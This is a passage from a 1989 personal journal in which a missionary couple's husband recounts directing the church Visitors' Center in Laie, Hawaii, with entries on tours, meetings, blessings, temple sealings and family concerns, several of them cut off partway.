length with President Haycock and his people in an effort to bring about some changes here in the building. With our Visitors’ Center located on the temple grounds, the maintenance, care and operation is rendered by the temple engineering/maintenance staff people. They have been unusually supportive. Our relationship with President and Sister Haycock and their people has made our whole operation go so much better. One of the highlight experiences almost weekly is the moving baptisms that occur down at Temple Beach. These are scheduled early in the morning so that they do not get in the way of the missionaries’ daily schedule. Our ten young sisters, who serve as guides, do proselyting work in the evening and are unusually productive. The bulk of their time is spent at the Visitors’ Center, but they still do very effective missionary work each evening. We always attempt to attend the baptisms of those they are instrumental in bringing into the Church. Since coming, we have spent two or three mornings each week at Temple Beach. During our third week here, we called new District Leaders, with Brother Ray Wiscombe serving as District Leader for the couples and Sister Christy Huffner as District Leader for the sisters. Sister Felt serves as the advisor to the sisters district in their weekly meetings. Brother Wiscombe has called a district meeting for the couples each week, which has proved to be very fruitful. Although we’ve only been here two weeks, it certainly is heartwarming to see the complete support and love that all the missionaries are extending to Mom and I. We’re comfortably located in a more than adequate home, and Afton and I are attempting to follow the regular missionary schedule which includes gospel study each day and a weekly companion inventory. This week we were also able to attend our first Zone Conference under the direction of our great Mission President, President Kikuchi. The meetings were held in Kaneohe. We traveled in our car, along with some of the missionaries. En route, Afton and I had the missionaries singing verses from the Book of Mormon and sharing what relevance and application those scriptures could have in our personal lives. It was an inspirational and happy time driving to Kaneohe. Upon our arrival, the zone gathered and heard a moving message from President Kikuchi, following which he called on Mom and I to bear our testimonies. The next hour was devoted to what President Kikuchi calls, “spirit tracting.” The missionaries were given a choice of remaining in the Conference room witnessing a video presentation of the message President Gordon B. Hinckley gave two weeks prior to the Conference when he came to visit the island. The others had a choice of doing some spirit tracting. I chose the latter and went out with a great zone leader, Elder Saxton. After knocking on several doors, we finally were invited into a sweet, young Polynesian girl’s home who listened to our lesson and agreed to having other missionaries follow up to give her the discussions. Since our arrival, we have been attending our meetings in the Laie North Stake. Our Stake President is President Steward and our Bishop is Bishop Coleman. In each of the meetings we attended, we have been so impressed with the quality of people and how well they follow the programs of the Church. Each of the priesthood leaders and other leaders are informed, warm, loving, and very competent. Our ward make-up is pre-dominantly Polynesian and native people with the Caucasian, or Haole people, very much in the minority. We love it. We held our first Correlation Meeting on March 22, 1989. Our Correlation Meetings consist of President Kikuchi, President James Christensen of the Polynesian Cultural Center, President Haycock as Temple President, and Brother Felt representing the Visitors’ Center. The purpose of these meetings is to correlate the efforts of the four agencies involved: the mission, the PCC, the temple, and the Visitors’ Center. My first meeting and experience was very heart-warming. President Kikuchi has asked me to prepare the agenda and also to keep the minutes. This recommendation made by Brother Ballard in December was an inspired suggestion. I will continue to look forward to these meetings. Our working relationship with President David Hannemann, Senior Vice-President at the PCC, who has major responsibility for the tours, has been very, very helpful. President Hannemann reflects and exemplifies all the great qualities that Polynesian people have which are really the envy of all those who know them. I look forward to a weekly meeting with President Hannemann where we will correlate our joint efforts. About 60 or 70% of all the tours that we have come through are generated through the Polynesian Cultural Center. There is no Visitors’ Center in the Church that enjoys this kind of luxury. Too many Visitors’ Centers are lacking in tourists, but thanks to the PCC, we have plenty of business. Sunday, March 26, 1989 Sunday, March 26th was Easter Sunday. One of the couples working out of the Mission Office suggested that the Visitors’ Center sponsor an Easter Sunday evening Fireside. We asked President Kikuchi to be our speaker, but he was not able to be there. Next, we asked President Haycock, but he was not able to be there either, so we asked Brother and Sister Mack, our missionary couple who works here at the mission on reactivating less active people, to join Afton and I, and together we worked out a beautiful Easter program that was unusually well attended. An excellent Samoan choir from the BYU campus provided special musical numbers, as did our ten lovely lady missionaries. Brother Mack and I were the speakers. We had a packed house and everything seemed to go very well, so much so that we likely will be planning something like this each Easter. Monday, March 27 – Friday, March 31, 1989 Because of the success of our Sunday evening Easter fireside, we have been giving careful consideration to further firesides. I therefore called in Elders Saxton and Groll, our Zone Leaders, and together we concluded that, beginning April 9th, we would undertake Sunday evening firesides again, not utilizing the whole foyer, but only one theater where all of the missionaries would be aware of the fact that for that evening they have the option of inviting their teaching family to be taught at the Visitors’ Center beyond what they teach them in their home. Of course, the immediate value of the Visitors’ Center is that they would be able to draw on different missionaries and other resource people, together with the alternate theatres and impressive presentations available only in Visitors’ Centers. We will watch this new development with interest. On Tuesday, I met with Verdetta, who assists President Hannemann in the Orientation and is the supervisor of the tram guides. Presently, there are nine guides, six of whom have been with them for some time and three of whom are newly appointed. The three new ones are Polynesian, and all of the six who have been with the PCC for some time are haole. With the implementation of an extended time at the Visitors’ Center, it required that trams leave every 15-20 minutes. This has created some real resentment on the part of our older tram guides. I’m reluctant to move into doing anything differently because this is really not my stewardship. Since President Hannemann is not here, we will likely just wait until he returns before we give more consideration to the matter. Keith Russell, the founder of “planned spending” seminars, came to conduct some of his programs at the BYU Hawaii campus. He came to the Visitors’ Center and offered to give a free demonstration to our missionaries, which he did on Friday in connection with our Friday devotional. Saturday and Sunday was General Conference. The historical announcement and new development was the creation of the Second Quorum of the Seventy. Twelve new members of the Council were called. Among the twelve, the only two that I knew was Joe Christensen and Jeff Holland. Truly the work of the Lord is moving forward with great speed. With the time change, we watched the first session of Conference on Saturday morning at 7:00, as well as the first session on Sunday morning at 6:00. Once again, I was able to watch each session of Conference, including of course the priesthood session. As I make some personal preparation, I never fail to get a tremendous spiritual lift from General Conference. I took careful notes of each session. Monday, April 3, 1989 Our day began with a very inspirational Family Council with all of our missionaries that we have each Monday morning from 7:30-9:00. The general format for that meeting is several business items, followed by a missionary presentation of a gospel principle taken from the gospel doctrine study program. Each missionary presentation has proved to be very, very effective. Following the missionary presentation, we then turned the balance of the meeting into a testimony meeting which was a very moving experience for all of us. After the meeting, the missionaries informed us that this was the first testimony meeting they had since they’d been here as missionaries. Apparently, the previous Director didn’t feel it was appropriate for testimony meetings in our weekly instructional meetings. Mom and I interviewed two of the missionaries, and we announced in our Family Council that we would undertake our second personal interview with each missionary. While presiding over the New Mexico-Arizona mission, I would have interviews with each of the missionaries at each zone conference. Since Mom is certainly the Assistant Director, from the beginning, I felt I wanted to involve her in a number of things, including the interviews. She adds substantially to each visit with each missionary and every program that we involve her in. We love our labor and find it to be a sweet labor of love. Tonight we’ll be visiting with Brother and Sister Eugene Flores, who have been assigned to us as a reactivation family. He is an alcoholic and has been discharged from his job, but given a tentative recall providing he doesn’t have another alcoholic slip. Monday, April 3 – Tuesday, April 4, 1989 Monday was devoted to interviews with the young lady missionaries and further preparation on our resource book. Monday evening we met our appointment with the Eugene Flores family and had a delightful first evening with them. Brother Flores is Mexican and Sister Flores is Caucasian. They have three children. Brother Flores was employed by a local chicken farm and Sister Flores, as a young girl, was serving in a retail outlet. After a short courtship, they were married. Sister Flores’ father is a faculty member at BYU. We learned that Brother Flores has had a long pattern of alcoholism, but a near critical accident so shook him up that he has finally submitted to an alcohol rehabilitation program, together with the AA chapters and regular visits with the Bishop and his home teachers, and now with Mom and me assigned to them for reactivation purposes. It’s going to be a delight to work with them. We plan to meet with them each Monday. Tuesday was another busy, happy day, including missionary interviews and further work on our missionary resource handbook. A call from Marilynn informs us that all is going well with the family and our business interests. Sunday, April 16, 1989 Jessie called and shared with us a heart-breaking message of her decision to undergo a separation and a possible divorce from her husband, Sam Allman. While this did not come as a surprise, it was still a very devastating thing for Mom and me. As these crises have occurred in the family, we’ve always alerted and invited all the family to unite with us in our efforts to help and assist. This we are doing and already we’ve had a long call and visit with Tammy and with Ron, and we do have some peace now that, as our family once again unites themselves in fasting and praying for one family member who’s hurting and needing help, we may be able to get this thing turned around. How grateful we are for life and membership in the Church and the fact that we can call down the powers of heaven to assist us and help us in time of need. Last evening we attended our first big Polynesian luau. President Haycock sponsored it, along with all the temple leadership, in honoring and hosting their many employees and the missionaries. It was a delightful, wonderful evening. Once again, as we came home and now contemplated, we count our blessings in being here in this area under this divine mission call, moving forward on such a great and important labor. Tuesday, April 18, 1989 I have long believed in the principle of delegation that the Church teaches. Accordingly, upon our arrival, we organized the district of the couples and a district of the young sisters. I don’t believe that this has ever been done before, but already it’s beginning to bear some real fruit. The districts meet weekly with Sister Felt advising the young district and then both of us, being a part of the couples’ district, advising them. One of the challenges we faced when we came here was to introduce and to adopt a whole new format that is now moving forward at the Church worldwide Visitors’ Centers. Heretofore, each Visitors’ Center developed pretty much their own programs; but now the Church has standardized and unified a whole new approach, one that includes a standard script and two pretty standard videotapes that are being used. It hasn’t been easy to implement a new program; change is always resisted by a number of people, as it has been here. But as of April 10th, we moved forward on the program and we’re delighted to find that the groups, by and large, were pleased. There are still a number of details and operational procedures that need to be resolved, but overall it looks good. One of our couples, Brother and Sister Dunn, has had some health problems, he in particular. All of us have united our prayers in fasting for him and, while the long-term prospects look good, it does appear that he may have to go home early which will be in June. Meanwhile, Brother Dunn has given some outstanding leadership to a member involvement program which moves through all of the wards and stakes in the mission encouraging members to bring to the Visitors’ Center their non-member friends, part-member families, and reactivation families. Our program has even attracted the attention of other Visitors’ Centers. Each Monday we have our Family Council meeting with all of the missionaries; always meeting with the missionaries is very rewarding and inspirational. In addition to Family Council, we have a devotional every other Friday and then a Family Home Evening once a month. In our devotional last Friday, we had an unusual experience featuring President and Sister Christensen of the Polynesian Cultural Center as speakers. We invited one of the Polynesian groundskeepers to come in with his harp. The numbers he chose and his singing and the involvement of the group, together with the background of the harp, was most impressive. What came across so beautifully was the deep sincerity and the spirit and love of Rosario. We were all moved to tears. As he concluded, I stood up and invited him to come forward whereupon I told him, “Rosario, on behalf of this whole group, we want you to know how much we appreciated what you’ve given us here and to let you know we love you.” And then I embraced him and told him again, “I love you.” He said, “This is the first time in my life that any adult has embraced me and told me that they loved me.” Since then we’ve had a number of interesting visits as we come and go from the Visitors’ Center. He has reflected what is typical of all the people in Laie, especially here at the temple and the Visitors’ Center. What a high privilege and honor it is to be associated and rubbing shoulders with such celestial people. Saturday, April 29, 1989 Once again I have delayed any journal entries and will attempt to bring the matter current. Afton and I are still struggling with the script, “Heavenly Father’s Plan.” We do have it pretty well under control, but must refine it further. I’m sure the only way to do this is to actually take some tours. Tomorrow will be the moment of truth. We will then take some tours. It is very important that we do this not only for our own training, but also with this background and experience, we’ll be better able to teach and train our own missionaries who are struggling with the script, especially those who have been here for some time and who must abandon the old one and take on the new. Our newly arrived sisters come with the script well in hand. Our training meetings on Monday, April 24th and Friday, April 28th proved to be a very inspirational time together. Mom is playing a very vital and impressive role in a number of different areas including a lot of records and office work, together with some direct involvement with each of the lady missionaries. Our love for the mission call with the great Polynesian people, for our missionaries, our membership in the Church, and most of all for our Heavenly Father and His Son, Jesus Christ, continues to be the great lodestar of our life. Today, April 29th, we were part of a traditional departure for one of our missionaries. This was the third one that Mom and I have been a part of and each one has been a very moving, inspirational tribute to the departing missionary. Today Sister Quilter, who has performed an unusual service, had her departure Aloha which consisted of about 30 people gathering in a circle, singing the traditional Aloha departure song. Then each person in the circle goes up and places a lei or offers some other appropriate expression or gift to the party leaving. Present were several members that she was instrumental in bringing into the Church. All in all, it was one of the sweetest experiences that we’ve enjoyed in this great Laie area. Sunday, April 30, 1989 Sunday, April 30th was another enjoyable Sabbath day. We began the day by taking on our Sunday schedule which includes four hours Sunday morning from 8:00-12:00 at the Visitors’ Center. I cover the outside gate and Afton is in the Visitors’ Center proper with two of our twelve sisters looking after those who choose to walk through the door. The previous Director apparently did not take Sunday schedules which meant that one of our couples missed their Sunday meetings. With Afton and I filling in like this, all of us are able to get to our regular meetings; for all of us have long learned that a Sabbath well spent, which includes attending meetings and partaking of the sacrament, makes for not only a good Sabbath day, but significantly helps the rest of the week. Once again, our three services–Sacrament meeting, Sunday School, and Priesthood meeting–were very inspirational and very informative. About 80% of our large congregation are Polynesian and the rest are haoles. The more we mingle with these people, the more impressed we are with their genuine qualities of true discipleship and they are true friends and brothers and sisters. Sunday evening we enjoyed a huge fireside at the Polynesian Cultural Center where President Kikuchi was the featured speaker treating the topic, “I Walked Today Where Jesus Walked.” He reviewed with us some impressive inspirational experiences that he and his wife and others enjoyed in the Holy Land. Joe Ah Quin sang two remarkable numbers. I gave the opening prayer. Monday, May 1, 1989 This Monday morning we had our regular Family Council which begins at 7:30 and goes an hour and a half. A sweet and loving spirit prevailed and I believe we made some significant progress in unifying the group. There’s considerable work that Mom and I must do in terms of bringing them together on the approved script, the approved video and the elimination of the so-called “Harvesting” program they’ve been using to bring referrals. That very aggressive approach did generate a lot of referrals, but too many of them came out of compulsion and pressure which means they didn’t turn out too well. There’s so much that we must yet do and are deeply concerned with how it’s all going to be accomplished. But, do it we will with the Lord’s help. Three new sisters arrived: Sister Pasco, Sister Hoyal Tuesday, May 2, 1989 Tuesday the 2nd was another busy, busy day at the Visitors’ Center and once again the prospects for bringing all of this together is encouraging; but I’m sure it will not happen without some hard work, Wednesday, May 3, 1989 Today should have been our preparation day, but without a Thursday, May 4 – Thursday, May 11, 1989 My last journal entry was May 3rd, so let me attempt to pick up some experiences of May 4th through May 11th. On Friday, May 5th Sister Banks, our newly appointed District Leader for the young sisters, held a meeting where a number of goals was projected that Sister Banks would achieve during her short, three-week tenure as District Leader. As Mom and I sought the Lord in prayer for a successor for Sister Quilter, the name of Sister Banks came through clearly. Her performance thus far more than justifies the inspiration behind the call. We challenged her to achieve a number of things in a three-week period, which on the surface appeared impossible, but she is making the impossible possible. I did give her a priesthood blessing which was an inspiration to give and has proved to be a great inspirational motivator for Sister Banks. Later in the afternoon the couples met, including Sister Banks, to bare their souls about the program and some frustrations that they were facing. Little did I realize how heart-wrenching and painful it would be. But as I look back on it now, it was a very, very productive meeting. It was gently but firmly pointed out to me some of the things that I, as Director, need to be doing in terms of training our missionaries and learning and conducting tours myself. Since Brother Wiscombe is the District Leader for the couples, following the meeting I asked him to serve as trainer for the couples. He immediately went to work and conducted tours with the couples and then has since asked each of us to do the same. We meet each morning at 8:30 and go through a tour, rotating the tour, person by person and couple by couple. Thanks to the courage of Elder Wiscombe this very needed training exercise has been implemented. Both Mom and I now have conducted a tour and will continue to do so. In fact, I have offered to cover for Brother Wiscombe while he does some interisland visiting prior to his departure in July. He will be deeply missed. He and his wife are among some of the greatest people with whom we have ever served. Normally, Directors of Visitors’ Centers apparently do little or no tour conducting and so I was moving forward on that premise, but now realize that in order for me to give proper direction, I must be a part of the heart and substance of any Visitors’ Center–that is, conducting tours. Both Mom and I feel very comfortable in this new role. Sunday May 7th was a special day because it was a fast and testimony Sunday and all of our missionaries, with the recommendation of Sister Banks, held a fast in the interest of better unifying our group and thus achieving greater performance. Already the blessings and fruits of the fast and the meetings have more than justified the fast and the meetings that have been held. Our Family Council meeting Monday morning was another highly informative and spiritual experience for all of us. Near the end of the meeting, as we came to grips with the urgent need for all missionaries to adopt and adapt and learn and teach the tours with the new script, some answers came into sharp focus. Because of the spirit of the Lord that was building in the meeting, I was able to issue some invitations and some charges that apparently penetrated the hearts of all the people and led them to make the decisions and set the goals that were needed in order to more fully implement the program that the Brethren charged us to establish. Each day since Monday, and since the fast, we have been able to be more productive in our efforts and be more at peace with ourselves and we have enjoyed it for some time. Once again, in this journal, I want to express the deep appreciation that my wife and I have for this call. The demands, the rewards, the opportunities, and the wonderful association with so many people has exceeded our fondest dreams. We are so grateful we yet have about 22 more months. If we can continue to serve on the spiritual level we seem to have achieved, it certainly will be one of the greatest chapters of our life. Our service here at the Visitors’ Center hasn’t been without some deep anxieties about family members, however. It was only a few weeks ago that Jessie informed us that she likely would not be going with her husband to California because of the extreme stress and pressure she has faced since the marriage as they’ve attempted to combine two families. Following her telephone call, I made a long distance call to her Bishop and talked with him at length about the matter. He then went to work with Sam and Jessie and their home teacher, and together with some letters that we sent to the Bishop and several to Jessie, that whole situation is looking more hopeful. Two days ago we had a letter from DeAnne, the wife of our son, Larry, indicating some deep depression on the part of Larry as he struggles to find a professional career that is rewarding to himself. He feels that the business world is not his thing. He has wrestled with this before, but once again it has surfaced. This time it may well be that it will force him into a position that will enable him and hopefully come up with a choice and a field of labor that will be more rewarding than what he is doing. Here again, because of the gravity of the situation, it was necessary to alert the family and the Bishop and thus unite appropriate key resource people to help resolve the matter. We have learned over the years that when the proper people, priesthood leaders, and family members and other trusted friends have been brought to bear and they exert their influence, prayers, faith, and time to assist a person in need, then miracles do happen. We have faith; Afton and I have faith that these matters–as stressful as they may have appeared–yet seem to resolve themselves for the lasting blessings of all parties. Monday, May 8 – Friday, May 19, 1989 May 8th, being a Monday, Although since we’ve arrived, we’ve had to implement some new programs, and that has not been easy. By We came with a charge to get the program in line with the new guidelines and on track with what the Brethren have laid out for us. This we have done, but not without some real resistance and opposition and some real pitched voices and criticism. But finally, after some prayer and fasting by all of us, we are moving forward in complete harmony with Section 121, namely with persuasion, gentleness, patience, and long-suffering. It now appears that they have all come in line. It has certainly been a testimony to us that the only way people can effectively work with others is in complete alignment with what the Lord has given us when he said, “No power or influence can or ought to be maintained by virtue of the priesthood only by persuasion, by long-suffering, by gentleness, by meekness and by love unfeigned, by kindness and pure knowledge which will greatly enlarge the soul, without hypocrisy and without guile.” That message has worked and it has done so beautifully. On May 10th, I was informed that my sealing authority had been transferred from the Provo temple to the Hawaiian temple. In the letter dated April 27, President Benson wrote President Haycock as follows: Dear President Haycock: In response to your letter dated April 13, 1989, authorization is hereby given to Paul Ernest Felt to exercise the sealing power in the Hawaii temple. Since Elder Felt was given the sealing power on April 14, 1982 for use in the Provo temple, it will be unnecessary to confer it upon him again. I suggest that when you advise Brother Felt of this authorization, I suggest you give him a copy of this letter for his records. Faithfully, your brother, Ezra Taft Benson, President Everything about our assignment has been superb and beyond our fondest dreams, but now I will have the privilege to perform sealings each week in the Hawaiian temple. We have already committed a family we’re reactivating and given them a date in June of 1990 for their sealing. Several days before Mother’s Day, Afton and I were in Kaneohe and seemed to be lost. As we were driving back to Laie, at a junction in the road, it seemed to me we should go one direction and Afton felt we should go another. I said, “Well, let’s go my way and if I’m wrong, I’ll buy you a sewing machine.” The following week we did make the purchase and that turned out to be her Mother’s Day gift. Afton’s sewing is not only a great One of the happy memories that will be with me throughout the eternities is observing on many occasions when Afton, together with all of our daughters, were down in our utility room. Each On May 18th, I called Brother and Sister Glick, who will be replacing our great couple, the Wiscombes. He is a Jewish convert to the Church and an outstanding guide on Temple Square. In my telephone visits and letters, it’s very evident that they will be an outstanding replacement couple for the Wiscombes. We will deeply, deeply miss the Wiscombes. They have been and are the kind of people you love to have around you in any setting and under any circumstances. They represent and reflect among the finest people in the Church. One of the good things–and must be almost inspiration–that Afton and I did was to splurge and spend $650 for a Schwinn Airdyne exercise bike. We loved it so much during the few months we had it at home, that we shipped it over to Hawaii. Not long after it had arrived we not only find ourselves daily exercising on the Airdyne bike, but it provides an excellent opportunity for us to memorize our script and now, for me, some additional scripture. It has been so very, very difficult for both Mom and me to memorize. As a young man, I seemed to be able to do it, but I haven’t done it for 50 or 60 years and it seems that once I get on that bike, then the time not only goes more rapidly, but I’m able to better concentrate on what I’m attempting to memorize. Since it has taken me so long, and as I was praying about it, it came clearly to mind the statement that President Grant gave so many years ago that I haven’t recalled for so many years. That statement is, “that which we persist in doing becomes easier, not because the nature of the task has changed, but that our power to do it is increased.” When that came to mind, which I’m sure was an answer to prayer, I have continued to persist in my memorization and in my exercising and both my exercising and memorization is coming into place. I’ve been able to memorize the script and am now starting on scriptures and am determined to continue this practice, hopefully, throughout the mission and even beyond. In fact, I seem to have some grandiose idea about taking home a wealth of scriptures that I memorized while I was here. I know young missionaries memorize many scriptures. In fact, on occasion, I meet one who says he memorizes one new one each day. I likely won’t be able to do that, but I’m certainly going to resume my memorizing. Within the past few days, we’ve been able to call a new District Leader, Sister Banks, and a new trainer, Sister Miner. In each case, Afton and I really pondered and prayed about these matters and their names came clearly to mind. With each of them, I suggested they be given a priesthood blessing. In each case, I was able to feel clearly the inspiration of the Lord as I gave them a blessing. On Wednesday, May 17th, we held our third correlation meeting since I’ve been here. This meeting is held each month. In each of the previous meetings, I became so nervous being with President Kikuchi, President Haycock As a number of things seemed to fall in place, I then recalled as I was praying one day, that as a young man I remembered going to our Stake Patriarch who resided in our ward, Charles S. Hyde. It was while I was in one of his classes as a young teenager that I believe I felt the spirit of the Lord in a class. I, therefore, felt comfortable to go to him when I was torn about some decisions I had to make in connection with a mission and schooling and my severe stuttering problems. In a blessing, he made reference to the fact that I had the gift of peacemaking. Almost for the first time in my life, I can see that gift prevailing and making it possible to bring together people and groups which in the past have been bringing in some real discord and disharmony. On Thursday, May 18th, I took my first PCC tour. I’ve had one or two small walk-in tours, but this was the first large group tour. Brother Wiscombe challenged me to take a group. I did so with much apprehension, but it turned out moderately well. I’m sure as I continue to practice, it will become easier. In fact, as I dictate it now, it comes clearly to my mind, “that which we persist in doing becomes easier, not because the nature of the task has changed, but the power to do it is increased.” The Lord certainly abundantly blesses His servants as we seek to do His will. Friday, May 19 – Monday, May 29, 1989 Another weekend is approaching and one of the few preparation days for Mom and Dad. Because of the demands of the job, together with the rewards and joy of labor, Mom and I haven’t taken our assigned preparation days. When this occurs, Mom wisely reminds Dad that we are instructed by the Brethren to jealously guard preparation days. They are days of There are so many marvelous places to visit. You can go in any direction and find scenery and getaway places that on the mainland are hard to come by. Here, they’re right at your back door. As I refer to this virtual Garden of Eden throughout the whole area, except of course Honolulu which is very much Mammon in the world, you can look in any direction and see a virtual Garden of Eden. In fact, as I followed one of our tour guides, he motioned off in the distance overlooking the temple and I asked him this question, “Doesn’t this look like the Garden of Eden?” Once again, let us assert and affirm that we love the area, we love the people, we love the call. Never in our 46 years of marriage, except when we were on our three-year mission, have we been able to devote every day and every hour to something of this spiritual nature. Really, it is more so now because when were on our first three-year mission as a family, we had seven children. Many of those were young, so Mom spent so much of her time at home, although we happily recall that she did make it a point to go to Zone Conferences with me and our missionaries came to know and love the President’s wife. But here, when we come home, we don’t have children or grandchildren, so we engage in scripture reading, listening to good music of the tabernacle choir, and are able to virtually spend every hour in something spiritually productive. We are following very meticulously the scripture program that President Kikuchi has assigned the missionaries and we read the Book of Mormon faithfully, consistently to each other each day. In another few days, we will have read the entire Book of Mormon. This is the first time I have read the Book of Mormon aloud, and it’s the first time Mom and I have read it together with each other. Also, something very promoting and very rewarding is our weekly companion inventory. The handbook sets forth the structure which consists of an opening prayer, a review of our recorded goals in the past week, recording new goals, discussing some unresolved concerns in our relationship with each other or others, and then our expression of our love for one another, followed by bearing testimony to each other and concluding with an evening prayer. This we have done ever since we began at the MTC when we were there being orientated as a missionary couple. We love it and look forward to following this practice each week. During the 46 years of our marriage, there’s seldom a day gone by but what I haven’t told my wife that I love her and she told me that she loved me, but in this setting, our expression of love to one another takes on new dimensions as does our testimony to each other. We’re still meeting with the Eugene Flores family whom we are reactivating and helping to get to the temple. We feel we’re making some significant progress. We love these people and they seem to love us. We have a very warm interaction and warm relationship with them. If all goes as projected, I will be performing the sealing for them a year from next month. Another significant journal entry, if I haven’t already made it, is the reinstatement of my sealing power here for the Hawaiian temple. I have performed two sealing sessions, and each Through some misunderstanding, I arrived late. Always I’ve had a penchant for being on time, but when I arrived they had been waiting for a half an hour. I was so embarrassed. When I took them in, I apologized and they smiled and nodded, but most of them had been there since 5:30 in the morning and here it was well into the morning and still there. As we began, I felt a flow and the spirit of love from them and certainly I, too, was able to fully reciprocate this. And before long, in that sealing room, we were in heaven. They felt it. I felt it. In circumstances like this, you don’t need to articulate it; you know when they feel it because I feel it. What one feels, the other feels. Well, we had a sweet time together, but because I started late, I hurried through and my back was getting real tired. The witness next to me reached over to me and massaged my back. Instantly the tension, the pain, left. He looked at me with a big Samoan smile and then he said, “If you want more, let me know.” The following evening, I gave a picture of President Benson to him and to each of the Samoan couples who were there. I do hope and pray that our time here will be intense enough and long enough for us to acquire something of a true Polynesian heart. I don’t know whether I put in my journal that I had been called as a High Priest Group teacher. Yesterday, May 28th, was my third Sunday. Each time has been a very special inspirational hour. Here again, much of this comes about from the spirit that these great Polynesian people bring to each class. They have so much love to give and they are so eager to learn and are so appreciative of the love extended to them. I look forward to this teaching opportunity each Sunday. Perhaps another heartfelt experience in the temple was when I went for my first Orientation. An 80-year-old Polynesian Hawaiian introduced himself–I can’t even pronounce his name let alone recall it–but instantly there was love felt by each other. After a minute or two, he put his arm around me and said, “I love you, my brother.” I know he did because I loved him; but he, like the Savior, said he loved me first. I knew my relationship with that good brother would be a heavenly experience each time we met and it has been. Indeed, that’s the way it is with all the people at the temple, especially those with brown and delightsome skins. Another experience I had with that good brother came when I went to my sealing session late and apologized. He just crimped and smiled and said something like it doesn’t matter. And then, as the Director of sealers, he came in to see how the new sealer was doing. It could have been an apprehensive experience for most of us, but with this good I hope and pray that my heart and mind will be open so that I can learn many other lessons from these great people and partake of some of the great divine attributes that all of them seem to naturally possess. In my lesson with the High Priest group yesterday, I indicated, as we were talking about spiritual gifts, that I wasn’t aware of any ethnic group in the world who has more natural gifts of the spirit than the Polynesian people. We had another great Family Council on Monday morning, May 28th. From the outset, there was a sweet, sweet spirit present. Since it was Memorial Day, I wished them a happy Memorial Day and felt impressed to call for someone to share something with us about Memorial Day. When no one volunteered, I turned to Brother Wiscombe, a retired Marine captain who knew something about Memorial Day and Flag etiquette. He gave us a beautiful message, not only about Memorial Day and the flag and this great and promised land, but also about the cute little banter that he and President Haycock had in raising and lowering the flag on Memorial Day. He later gave a moving message on the power of the Priesthood, and then our district leader, Sister Coleman, won the hearts of all of us with her testimony and clear evidence of humble leadership. Tuesday, May 30 – Friday, July 7, 1989 Once again I have neglected regular journal entries so I must attempt to recall some experiences by referring to my Franklin Planner. I believe an early reference in my journal referred to a Schwinn Airdyne bike that we shipped over for exercise purposes. It is not only an excellent exercise I have long felt that the Lord can inspire us how to utilize our time and thus magnify our responsibilities. As I began memorizing it was very, very difficult. I really haven’t done any memorizing since I was a young missionary, except for memorizing the sealing ordinances at the temple; but memorizing them at the temple certainly made it come faster. I’ve learned that as I’ve had to recall what I’ve memorized at the temple, much of it I can’t remember. But, once I get into the temple, it seems to come readily to mind. I now must have 30 or 40 scriptures memorized, and I plan to do many, many more. As I have pondered this matter, I have somehow seemed to get a warm distinct feeling that the memorization of these scriptures will serve me well in a later calling that may come to me. What it will be, I don’t know. In fact, at my age, I don’t think there will be any more significant calls in the Church, but I do believe there is a purpose in my memorizing these scriptures. If I don’t use them much here, I’m sure there will be calls beyond the veil where they will come to great value. The Lord makes it very clear that what we learn here we take with us, so my motivation for memorizing is for some future call which may not occur here, but will certainly be of value to me there. President Kikuchi did give us a remarkable blessing a week ago Sunday, which would be June 25th. He called that morning indicating that he wanted to come down and visit with all the missionaries. As he did, he gave each of them a blessing, including Mom and me. For each of us, it was a remarkable blessing. In the blessing he gave Mom, he blessed her specifically in her spinal cord and nervous system. This was a remarkable reference because Afton’s involuntary jerks, a carry-over from the major surgery which was given back in 1974, was so heart-warming to each of us. Since the blessing, there have been virtually no involuntary jerks. Prior to the blessing, they were getting to be a real problem, particularly in the evening or in long meetings. In my blessing, he made reference twice, it seems, to future calls that would be mine. Again, it is difficult for me to see how anything more could come at my age of 73, but I do seem to have a drive–almost an urgent, urgent feeling–to prepare for something else. Many years ago, I suppose I was guilty of occasionally aspiring for office in the Church; but I no longer have that problem. I feel I can be perfectly content with this call to soothe out the remainder of my mortal years in whatever calling the ward or stake may extend to me. I do want to keep busy and certainly, with the availability of temples, Mom and Dad will be spending a lot of time there following our release here at the Visitors’ Center. Presently, Mom still spends every Thursday morning in the Laundry at the temple and my initial call as a sealer had me coming Thursday mornings as well. But they began calling me as they needed me because of my proximity to the temple, so President Haycock suggested that I be an on-call man rather than attempt to keep a regular weekly schedule. I’ve always loved serving in the temple and, since my call as a sealer back in April of 1982, I’ve come to more fully and deeply appreciate temple service than ever before. I remember the last ten or fifteen years of Mother spending so much time in the temple. Occasionally Dad would go, but Mom would go almost daily, walking all the way from 828 South 100 West to the Salt Lake Temple. Over the years July 4th has been a huge celebration for us, because of our home in Provo, Utah. No one does a Fourth of July quite like Utah County! The Fourth of July for us was another work day, as is every day. The Center never closes, even on Christmas. But, we did break away and enjoy a special buffet dinner over with Ed One sweet experience I’ve had with Ed was one Sunday afternoon when he was working on a computer that he has leased us for a dollar a year. He asked me an interesting question. He said, “Elder Felt, do you have any fantasies?” I said, “What do you mean by fantasy?” He said, “All my life, and I suppose other people much like me, have had to live in a fantasy world in order to find real fulfillment.” As I thought about Brother Dunn is doing a great job introducing and helping wards and stakes more fully utilize the Visitors’ Center, in bringing their less-active, part-member, and non-member friends to the Center. One of the charges and goals Our Family Council meetings and family devotionals continue to be very spiritual experiences for all of us. The new approved script is now in place and all of the missionaries have been certified. We now have in place an ongoing training program with Sister Pasco, a relatively new missionary who is providing unusual leadership in this important phase of our work. For some time, I have had some concern about our lack of reports and accountability in our operation at the Visitors’ Center. I asked my Assistant Director, Brother I still felt strongly we needed to do something, but since he didn’t take hold of it, I decided to put together something myself and then have our great young District Leader, Sister Coleman, review it further. She came up with an excellent personal weekly evaluation form for the sisters to cover both their responsibility at the Visitors’ Center and their evening proselyting work. As I introduced it, there was a little resistance, but I believe it is largely now dissipated. While we haven’t yet had reports come in, I’m sure they will and I’m confident also that it will serve a great purpose in inducing the missionaries to do some personal soul searching evaluation of their performance. I called President Monson’s secretary to …. [PAGE MISSING] … just reconciled myself to this “thorn in my side” and have come to realize it is now a blessing in disguise. When I awake at night, I no longer fight it; I just get up and spend an hour or two, more or less, each night always engaged in some very profitable scripture reading or other good reading and often in some very warm and inspirational pondering and meditation. In fact, it has come to mean so much to me that even if I were miraculously healed from my insomnia, I think I would still get up in the middle of the night and do my best reading and study. My dear wife continues to worry about this aspect of my life, but I can’t seem to convince her that it is no longer a worry or a stress to me. On the contrary, it’s a blessing in disguise. Several weeks ago, the Director of the Mesa, Arizona Visitors’ Center called about the availability of quality portraits of President Benson and President Joseph Smith. They were available at 50 cents apiece. We had to take them in goodly number, which we Our huge topographical map, which I understood cost 